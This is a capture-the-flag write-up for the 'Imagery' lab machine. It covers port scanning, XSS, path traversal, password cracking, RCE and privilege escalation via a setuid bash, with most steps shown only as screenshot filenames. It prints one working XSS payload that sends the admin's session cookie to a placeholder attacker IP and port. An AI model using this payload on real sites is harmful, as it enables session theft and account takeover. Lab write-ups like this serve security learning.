Imagery

42e456647943fa1a158b22b878d5fcb8.png

Port enumeration

First thing I did was scaning the objetive with nmap.

nmap -p- --open -T5 -n -vvv -Pn imagery.htb

This reveals 2 open ports, 22 and 8000

22/tcp    open    ssh        syn-act    ttl    63
8000/tcp  open    http-alt   syn-act    ttl    63

I scan this two services to reveal more information.

nmap -p 22,8000 -sCV imagery.htb

This reveal that the http service in port 8000 is a python server.

a1b73ba2af0c82102e400d77120dd55f.png

Web enumeration

d4c56d8ba8fe1107e0fdda3aa8d695eb.png

The first thing I saw was the page home, here, I can only find 2 functional pages, upload, where i can upload an image in the server, I tried to exploit this page for a wile, but nothing worked.

6ee131650497de19cf9fa28f2496b130.png

The other page I found was report a bug, this panel allow me to send a report to the admin, it seems like it can be vulnerable with XSS, so, I test it and I confirmed the vulnerability.

78fb473aa74640b2e142d7041a9b8a5c.png

XSS Explotation

I send a payload who will allow me to steal the admin cookies.

<img scr=x onerror="new Image().src='http://<myip>:<myport>/?='+encodeURIComponent(document.cookie)"/>

This sends me the session cookie to my python server.

b80dca25699cd707608d22f47dae5547.png

Admin panel enumeration

With that cookie, I were allowed to log in the page as admin.

eb8990ab5ca2e4c2985abf79af11f635.png

As admin, I had access to Admin Panel.

47acf8331f0ac60451a13d12b6c2d2c8.png

Here, I can see who I can download the logs from 2 users, admin and testuser.

After reading these logs, I didnt found nothing interesting, but, after intercept the http request with burpsuite, I found a path traversal vulnerability.

ce905c1153cdd38e867964030ef61ec0.png

Path traversal explotation

I discovered with /etc/passwd who the 2 users in this machine are web and mark

After a bit, I read the config files, where I found some credentials.

301a37b4b263e559fd2ca072e8272025.png

With john the ripper, I was able to obtain the testuser password.

86f58947fd98156660fab508f5c6eb2d.png

Now, I loged in the machine ad testuser, but, I cant see mayor diferences, so, I read the source code.

30c2cec2842a377d13c028dfbdb98675.png

And there it is, a RCE, and this feature is only available to testuser.

RCE exploitation

I just update a image and use the Visual Image Transform feature.

9580fb2952d0b6ec38e9d2247f0f3fbd.png

With burpsuite, in injected the code.

bb1a5cb3dcbe84450eab26ae3d8c598f.png

And with that, I obtained a shell.

ba79e9cd8ccae5b3ccaba244482a1803.png

Local enumeration

After a while i found, in /var/backup, 2 interesting files.

414603a7c91b4ee57158f5952cf5ecb9.png

For some reason I found the root flag there — this must be an error — so I continued with the web backup.

AES brute force

The backup is encrypted with AES, so I needed to find the password by brute force.

887147383949e9f191fdb6997b865c0d.png

I made a python script to attack with dictionary.

0e924dc4623dc2eb2ecaf1ee806c0056.png

Here, I found a oldest version of the app, and, in the database, i found 2 more users and their hashes, web, and mark.

f2dd53fbd1e450ab4b04486a558b139d.png

With john, I reveal the mark password.

98f6c4affe9116dbb3790dfa9e310f74.png

And, with that, I log as mark with su.

0c2df7df24131a46bda3150addd4868c.png

Privilege scalation

After a short enumeration I discovered that /bin/bash has the setuid bit set.

fdeb7ba64888a9c658948c04274f85b8.png

I only needed to execute this binary as its owner, and I became root.

9e877b2c761c5d49e2da6739415437c1.png